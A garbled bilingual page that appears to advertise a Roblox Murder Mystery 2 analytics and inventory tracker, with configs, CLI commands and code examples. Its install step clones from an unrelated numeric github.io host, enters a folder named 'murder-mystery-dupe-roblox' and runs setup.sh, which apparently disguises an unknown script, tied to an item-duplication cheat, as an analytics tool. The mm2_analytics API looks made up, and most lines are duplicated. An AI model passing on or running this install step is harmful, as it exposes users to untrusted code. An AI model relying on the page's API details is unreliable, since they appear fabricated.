mm2-roblox-analytics-tracker
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseMM2 Roblox Analytics Tracker
Roblox MM2 分析追踪工具
Skill by ara.so — Data Skills collection.
This toolkit provides comprehensive analytics and inventory management for Roblox's Murder Mystery 2 game. It enables players to track knife skin collections, analyze gameplay patterns, optimize inventory, and visualize performance metrics through an interactive dashboard.
由 ara.so 开发的Skill — 数据技能集合。
该工具包为Roblox的《Murder Mystery 2》游戏提供全面的分析和库存管理功能。玩家可以通过交互式仪表板追踪刀皮肤收藏、分析游戏玩法模式、优化库存并可视化性能指标。
What It Does
功能介绍
The MM2 Analytics Tracker provides:
- Inventory Management: Automatic tracking of knife skins, gamepasses, and collectibles with rarity analysis
- Performance Analytics: Win/loss ratios, role-based statistics, and strategy pattern identification
- Data Visualization: Interactive dashboards with real-time statistics and charts
- AI-Powered Insights: Predictive modeling for inventory values and player behavior analysis
- Trade Recommendations: Smart suggestions based on collection completeness and market trends
- Practice Simulations: Training tools for skill improvement
Roblox MM2分析追踪工具提供以下功能:
- 库存管理:自动追踪刀皮肤、游戏通行证和收藏品,并进行稀有度分析
- 性能分析:胜负率、角色统计数据以及策略模式识别
- 数据可视化:带有实时统计数据和图表的交互式仪表板
- AI驱动洞察:库存价值预测模型和玩家行为分析
- 交易推荐:基于收藏完成度和市场趋势的智能建议
- 练习模拟:提升技能的训练工具
Installation
安装步骤
Automated Setup
自动安装
bash
undefinedbash
undefinedClone the repository
Clone the repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
Run automated installer
Run automated installer
chmod +x setup.sh
./setup.sh --install
undefinedchmod +x setup.sh
./setup.sh --install
undefinedManual Installation
手动安装
bash
undefinedbash
undefinedInstall Node.js dependencies
Install Node.js dependencies
npm install
npm install
Install Python dependencies
Install Python dependencies
python3 -m pip install -r requirements.txt
undefinedpython3 -m pip install -r requirements.txt
undefinedSystem Requirements
系统要求
- Python 3.9+ or Node.js 18+
- 2GB RAM minimum
- Supported OS: Windows 10+, macOS Ventura+, Ubuntu 22.04+
- Modern web browser (Chrome 120+, Firefox 121+)
- Python 3.9+ 或 Node.js 18+
- 最低2GB内存
- 支持的操作系统:Windows 10+、macOS Ventura+、Ubuntu 22.04+
- 现代网页浏览器(Chrome 120+、Firefox 121+)
Configuration
配置说明
Environment Variables
环境变量
Create a file in the project root:
.envenv
undefined在项目根目录创建 文件:
.envenv
undefinedAI Integration (optional)
AI Integration (optional)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
Data Storage
Data Storage
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
Features
Features
ENABLE_LIVE_TRACKING=true
ENABLE_AI_INSIGHTS=false
EXPORT_FORMAT=json,csv
undefinedENABLE_LIVE_TRACKING=true
ENABLE_AI_INSIGHTS=false
EXPORT_FORMAT=json,csv
undefinedProfile Configuration
配置文件设置
Create a file:
profile.yamlyaml
profile:
username: "YourRobloxUsername"
preferred_role: "sheriff" # sheriff, murderer, innocent
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient", "unique"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive" # basic, comprehensive, minimal
data_refresh_rate: 30 # seconds
export_format: "csv, json"
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
- name: "passive_innocent"
priority: "distraction_avoidance"创建 文件:
profile.yamlyaml
profile:
username: "YourRobloxUsername"
preferred_role: "sheriff" # sheriff, murderer, innocent
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient", "unique"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive" # basic, comprehensive, minimal
data_refresh_rate: 30 # seconds
export_format: "csv, json"
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
- name: "passive_innocent"
priority: "distraction_avoidance"CLI Commands
命令行指令
Basic Usage
基础用法
bash
undefinedbash
undefinedStart analytics dashboard
Start analytics dashboard
python3 main.py --mode dashboard
python3 main.py --mode dashboard
Run inventory scan
Run inventory scan
python3 main.py --mode inventory --scan
python3 main.py --mode inventory --scan
Export analytics data
Export analytics data
python3 main.py --mode analytics
--profile your_profile
--export statistics.json
--format json
--profile your_profile
--export statistics.json
--format json
python3 main.py --mode analytics
--profile your_profile
--export statistics.json
--format json
--profile your_profile
--export statistics.json
--format json
Generate performance report
Generate performance report
python3 main.py --mode report
--date-range "2026-01-01:2026-05-16"
--output report.pdf
--date-range "2026-01-01:2026-05-16"
--output report.pdf
undefinedpython3 main.py --mode report
--date-range "2026-01-01:2026-05-16"
--output report.pdf
--date-range "2026-01-01:2026-05-16"
--output report.pdf
undefinedAdvanced Options
高级选项
bash
undefinedbash
undefinedComprehensive analytics with verbose logging
Comprehensive analytics with verbose logging
python3 main.py --mode analytics
--profile mystery_solver_01
--export stats_$(date +%Y%m%d).json
--format json
--verbose
--log-level DEBUG
--profile mystery_solver_01
--export stats_$(date +%Y%m%d).json
--format json
--verbose
--log-level DEBUG
python3 main.py --mode analytics
--profile mystery_solver_01
--export stats_$(date +%Y%m%d).json
--format json
--verbose
--log-level DEBUG
--profile mystery_solver_01
--export stats_$(date +%Y%m%d).json
--format json
--verbose
--log-level DEBUG
Inventory optimization with AI recommendations
Inventory optimization with AI recommendations
python3 main.py --mode optimize
--enable-ai
--strategy aggressive
--export recommendations.csv
--enable-ai
--strategy aggressive
--export recommendations.csv
python3 main.py --mode optimize
--enable-ai
--strategy aggressive
--export recommendations.csv
--enable-ai
--strategy aggressive
--export recommendations.csv
Live tracking session
Live tracking session
python3 main.py --mode live
--refresh-interval 15
--dashboard-port 8080
--refresh-interval 15
--dashboard-port 8080
undefinedpython3 main.py --mode live
--refresh-interval 15
--dashboard-port 8080
--refresh-interval 15
--dashboard-port 8080
undefinedCode Examples
代码示例
Python: Basic Inventory Analysis
Python: 基础库存分析
python
from mm2_analytics import InventoryManager, AnalyticsEnginepython
from mm2_analytics import InventoryManager, AnalyticsEngineInitialize inventory manager
Initialize inventory manager
inventory = InventoryManager(
data_dir="./data/collections",
profile="my_profile"
)
inventory = InventoryManager(
data_dir="./data/collections",
profile="my_profile"
)
Scan current inventory
Scan current inventory
results = inventory.scan_inventory()
results = inventory.scan_inventory()
Analyze knife skins by rarity
Analyze knife skins by rarity
knife_analysis = inventory.analyze_category(
category="knife_skins",
group_by="rarity"
)
print(f"Total items: {results['total_count']}")
print(f"Legendary knives: {knife_analysis['legendary']}")
print(f"Collection completion: {results['completion_percentage']}%")
knife_analysis = inventory.analyze_category(
category="knife_skins",
group_by="rarity"
)
print(f"Total items: {results['total_count']}")
print(f"Legendary knives: {knife_analysis['legendary']}")
print(f"Collection completion: {results['completion_percentage']}%")
Get missing items for collection
Get missing items for collection
missing = inventory.get_missing_items(
category="knife_skins",
target_rarity=["legendary", "ancient"]
)
for item in missing:
print(f"Missing: {item['name']} (Est. value: {item['estimated_value']})")
undefinedmissing = inventory.get_missing_items(
category="knife_skins",
target_rarity=["legendary", "ancient"]
)
for item in missing:
print(f"Missing: {item['name']} (Est. value: {item['estimated_value']})")
undefinedPython: Performance Analytics
Python: 性能分析
python
from mm2_analytics import AnalyticsEngine, StrategyAnalyzerpython
from mm2_analytics import AnalyticsEngine, StrategyAnalyzerInitialize analytics engine
Initialize analytics engine
analytics = AnalyticsEngine(
profile="my_profile",
tracking_mode="comprehensive"
)
analytics = AnalyticsEngine(
profile="my_profile",
tracking_mode="comprehensive"
)
Load gameplay session data
Load gameplay session data
analytics.load_sessions(date_range="last_30_days")
analytics.load_sessions(date_range="last_30_days")
Analyze performance by role
Analyze performance by role
role_stats = analytics.analyze_by_role()
for role, stats in role_stats.items():
print(f"{role.capitalize()} Performance:")
print(f" Win Rate: {stats['win_rate']:.2%}")
print(f" Games Played: {stats['games_count']}")
print(f" Avg Survival Time: {stats['avg_survival_time']:.1f}s")
role_stats = analytics.analyze_by_role()
for role, stats in role_stats.items():
print(f"{role.capitalize()} Performance:")
print(f" Win Rate: {stats['win_rate']:.2%}")
print(f" Games Played: {stats['games_count']}")
print(f" Avg Survival Time: {stats['avg_survival_time']:.1f}s")
Strategy pattern analysis
Strategy pattern analysis
strategy = StrategyAnalyzer(analytics)
patterns = strategy.identify_winning_patterns(role="sheriff")
print("\nTop Winning Strategies:")
for pattern in patterns[:5]:
print(f" {pattern['name']}: {pattern['success_rate']:.2%}")
undefinedstrategy = StrategyAnalyzer(analytics)
patterns = strategy.identify_winning_patterns(role="sheriff")
print("\nTop Winning Strategies:")
for pattern in patterns[:5]:
print(f" {pattern['name']}: {pattern['success_rate']:.2%}")
undefinedPython: Data Export and Visualization
Python: 数据导出与可视化
python
from mm2_analytics import DataExporter, Visualizerpython
from mm2_analytics import DataExporter, VisualizerExport data in multiple formats
Export data in multiple formats
exporter = DataExporter(profile="my_profile")
exporter = DataExporter(profile="my_profile")
Export to JSON
Export to JSON
exporter.export_inventory(
format="json",
output="inventory_backup.json",
include_metadata=True
)
exporter.export_inventory(
format="json",
output="inventory_backup.json",
include_metadata=True
)
Export to CSV for spreadsheet analysis
Export to CSV for spreadsheet analysis
exporter.export_analytics(
format="csv",
output="analytics_report.csv",
date_range="2026-01-01:2026-05-16"
)
exporter.export_analytics(
format="csv",
output="analytics_report.csv",
date_range="2026-01-01:2026-05-16"
)
Generate visualizations
Generate visualizations
viz = Visualizer(data_source="analytics_report.csv")
viz = Visualizer(data_source="analytics_report.csv")
Create performance chart
Create performance chart
viz.create_chart(
chart_type="line",
metric="win_rate",
group_by="date",
output="performance_trend.png"
)
viz.create_chart(
chart_type="line",
metric="win_rate",
group_by="date",
output="performance_trend.png"
)
Create inventory distribution pie chart
Create inventory distribution pie chart
viz.create_chart(
chart_type="pie",
data=knife_analysis,
title="Knife Skins by Rarity",
output="inventory_distribution.png"
)
undefinedviz.create_chart(
chart_type="pie",
data=knife_analysis,
title="Knife Skins by Rarity",
output="inventory_distribution.png"
)
undefinedJavaScript: Dashboard Integration
JavaScript: 仪表板集成
javascript
const { AnalyticsDashboard, InventoryTracker } = require('mm2-analytics');
// Initialize dashboard
const dashboard = new AnalyticsDashboard({
profile: 'my_profile',
refreshInterval: 30000, // 30 seconds
port: 8080
});
// Configure real-time inventory tracking
const tracker = new InventoryTracker({
dataDir: './data/collections',
liveTracking: true
});
// Subscribe to inventory updates
tracker.on('update', (data) => {
console.log(`Inventory updated: ${data.items.length} items`);
dashboard.updateInventoryView(data);
});
// Start analytics dashboard server
dashboard.start().then(() => {
console.log('Dashboard running at http://localhost:8080');
});
// Export data on demand
dashboard.on('export-requested', async (format) => {
const data = await tracker.exportData(format);
return data;
});javascript
const { AnalyticsDashboard, InventoryTracker } = require('mm2-analytics');
// Initialize dashboard
const dashboard = new AnalyticsDashboard({
profile: 'my_profile',
refreshInterval: 30000, // 30 seconds
port: 8080
});
// Configure real-time inventory tracking
const tracker = new InventoryTracker({
dataDir: './data/collections',
liveTracking: true
});
// Subscribe to inventory updates
tracker.on('update', (data) => {
console.log(`Inventory updated: ${data.items.length} items`);
dashboard.updateInventoryView(data);
});
// Start analytics dashboard server
dashboard.start().then(() => {
console.log('Dashboard running at http://localhost:8080');
});
// Export data on demand
dashboard.on('export-requested', async (format) => {
const data = await tracker.exportData(format);
return data;
});Common Patterns
常见使用场景
Pattern 1: Daily Analytics Routine
场景1:每日分析流程
python
from mm2_analytics import DailyRoutine
routine = DailyRoutine(profile="my_profile")python
from mm2_analytics import DailyRoutine
routine = DailyRoutine(profile="my_profile")Run comprehensive daily analysis
Run comprehensive daily analysis
report = routine.run_daily_analysis(
include_inventory_scan=True,
include_performance_review=True,
include_trade_recommendations=True,
export_format="json"
)
report = routine.run_daily_analysis(
include_inventory_scan=True,
include_performance_review=True,
include_trade_recommendations=True,
export_format="json"
)
Email report (if configured)
Email report (if configured)
if report.has_significant_changes():
routine.send_report(report, method="email")
undefinedif report.has_significant_changes():
routine.send_report(report, method="email")
undefinedPattern 2: Trade Optimization
场景2:交易优化
python
from mm2_analytics import TradeOptimizer
optimizer = TradeOptimizer(
inventory=inventory,
target_collection="legendary_complete"
)python
from mm2_analytics import TradeOptimizer
optimizer = TradeOptimizer(
inventory=inventory,
target_collection="legendary_complete"
)Get trade recommendations
Get trade recommendations
recommendations = optimizer.get_recommendations(
max_trades=5,
prioritize="collection_completion"
)
for rec in recommendations:
print(f"Trade: {rec['give']} → {rec['receive']}")
print(f" Value Difference: {rec['value_delta']}")
print(f" Collection Impact: +{rec['completion_impact']}%")
undefinedrecommendations = optimizer.get_recommendations(
max_trades=5,
prioritize="collection_completion"
)
for rec in recommendations:
print(f"Trade: {rec['give']} → {rec['receive']}")
print(f" Value Difference: {rec['value_delta']}")
print(f" Collection Impact: +{rec['completion_impact']}%")
undefinedPattern 3: AI-Powered Strategy Suggestions
场景3:AI驱动策略建议
python
from mm2_analytics import AIStrategyAssistantpython
from mm2_analytics import AIStrategyAssistantRequires API_OPENAI_KEY or API_CLAUDE_KEY in environment
Requires API_OPENAI_KEY or API_CLAUDE_KEY in environment
assistant = AIStrategyAssistant(
api_provider="openai", # or "claude"
model="gpt-4"
)
assistant = AIStrategyAssistant(
api_provider="openai", # or "claude"
model="gpt-4"
)
Get strategy suggestions based on performance
Get strategy suggestions based on performance
suggestions = assistant.analyze_gameplay(
role="sheriff",
recent_sessions=analytics.get_recent_sessions(count=10)
)
print(suggestions.summary)
for tip in suggestions.tips:
print(f"- {tip}")
undefinedsuggestions = assistant.analyze_gameplay(
role="sheriff",
recent_sessions=analytics.get_recent_sessions(count=10)
)
print(suggestions.summary)
for tip in suggestions.tips:
print(f"- {tip}")
undefinedTroubleshooting
故障排除
Issue: Inventory scan returns empty results
问题:库存扫描返回空结果
Solution: Verify data directory exists and profile configuration is correct
bash
undefined解决方案:验证数据目录存在且配置文件设置正确
bash
undefinedCheck data directory
Check data directory
ls -la ./data/collections
ls -la ./data/collections
Verify profile exists
Verify profile exists
python3 main.py --list-profiles
python3 main.py --list-profiles
Reset and rescan
Reset and rescan
python3 main.py --mode inventory --reset --scan
undefinedpython3 main.py --mode inventory --reset --scan
undefinedIssue: Analytics export fails with encoding errors
问题:分析导出时出现编码错误
Solution: Specify UTF-8 encoding explicitly
python
from mm2_analytics import DataExporter
exporter = DataExporter(
profile="my_profile",
encoding="utf-8" # Force UTF-8 encoding
)
exporter.export_analytics(
format="csv",
output="stats.csv",
force_encoding=True
)解决方案:显式指定UTF-8编码
python
from mm2_analytics import DataExporter
exporter = DataExporter(
profile="my_profile",
encoding="utf-8" # Force UTF-8 encoding
)
exporter.export_analytics(
format="csv",
output="stats.csv",
force_encoding=True
)Issue: Dashboard won't start (port conflict)
问题:仪表板无法启动(端口冲突)
Solution: Use a different port or kill existing process
bash
undefined解决方案:使用其他端口或终止占用端口的进程
bash
undefinedUse alternative port
Use alternative port
python3 main.py --mode dashboard --port 8081
python3 main.py --mode dashboard --port 8081
Or find and kill process using port 8080
Or find and kill process using port 8080
lsof -ti:8080 | xargs kill -9
undefinedlsof -ti:8080 | xargs kill -9
undefinedIssue: AI insights not working
问题:AI洞察功能无法使用
Solution: Verify API keys are set correctly
bash
undefined解决方案:验证API密钥设置正确
bash
undefinedCheck environment variables
Check environment variables
echo $API_OPENAI_KEY
echo $API_CLAUDE_KEY
echo $API_OPENAI_KEY
echo $API_CLAUDE_KEY
Test API connection
Test API connection
python3 main.py --test-ai-connection
undefinedpython3 main.py --test-ai-connection
undefinedIssue: Performance degradation with large datasets
问题:大数据集导致性能下降
Solution: Enable data pagination and optimize refresh interval
python
from mm2_analytics import AnalyticsEngine
analytics = AnalyticsEngine(
profile="my_profile",
use_pagination=True,
page_size=1000,
cache_enabled=True
)解决方案:启用数据分页并优化刷新间隔
python
from mm2_analytics import AnalyticsEngine
analytics = AnalyticsEngine(
profile="my_profile",
use_pagination=True,
page_size=1000,
cache_enabled=True
)Increase refresh interval for large datasets
Increase refresh interval for large datasets
analytics.set_refresh_interval(60) # 60 seconds
undefinedanalytics.set_refresh_interval(60) # 60 seconds
undefinedBest Practices
最佳实践
- Regular Backups: Export inventory data weekly
- API Rate Limits: Enable caching when using AI features
- Data Privacy: Keep profile data local, never commit files
.env - Performance: Use for basic tracking needs
--mode minimal - Updates: Check for compatibility patches regularly
- 定期备份:每周导出库存数据
- API速率限制:使用AI功能时启用缓存
- 数据隐私:将配置文件数据保存在本地,切勿提交 文件
.env - 性能优化:基础追踪需求使用
--mode minimal - 版本更新:定期检查兼容性补丁
Additional Resources
额外资源
- Profile templates:
./templates/profiles/ - Sample datasets:
./data/samples/ - Custom visualizations:
./examples/visualizations/ - Strategy guides:
./docs/strategies/
- 配置文件模板:
./templates/profiles/ - 示例数据集:
./data/samples/ - 自定义可视化示例:
./examples/visualizations/ - 策略指南:
./docs/strategies/